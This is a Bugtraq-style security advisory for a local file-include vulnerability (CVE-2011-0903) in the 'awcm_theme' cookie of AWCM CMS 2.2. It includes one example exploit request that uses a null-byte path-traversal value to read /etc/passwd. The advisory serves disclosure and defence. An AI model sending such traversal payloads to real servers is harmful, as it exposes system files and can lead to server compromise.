AWCM 'awcm_theme' Cookie Parameter Local File Include Vulnerability

Bugtraq ID:	46017
Class:	Input Validation Error
CVE:	CVE-2011-0903
Remote:	Yes
Local:	No
Published:	Jan 26 2011 12:00AM
Updated:	Apr 13 2015 09:01PM
Credit:	Cucura , Ste@lth (Bl@ck_Falc0n)
Vulnerable:	AWCM CMS AWCM 2.2
Not Vulnerable:

AWCM 'awcm_theme' Cookie Parameter Local File Include Vulnerability

AWCM is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

AWCM 2.2 is vulnerable; other versions may also be affected.

AWCM 'awcm_theme' Cookie Parameter Local File Include Vulnerability

Attackers can exploit this issue through a browser.

The following example request is available:

GET http://www.example.com/awcm/header.php HTTP/1.0
Cookie: awcm_theme=../../../../etc/passwd%00;

AWCM 'awcm_theme' Cookie Parameter Local File Include Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

AWCM 'awcm_theme' Cookie Parameter Local File Include Vulnerability

References:

• AWCM CMS Homepage (AWCM CMS)
  
• AWCM CMS Project Page (Google)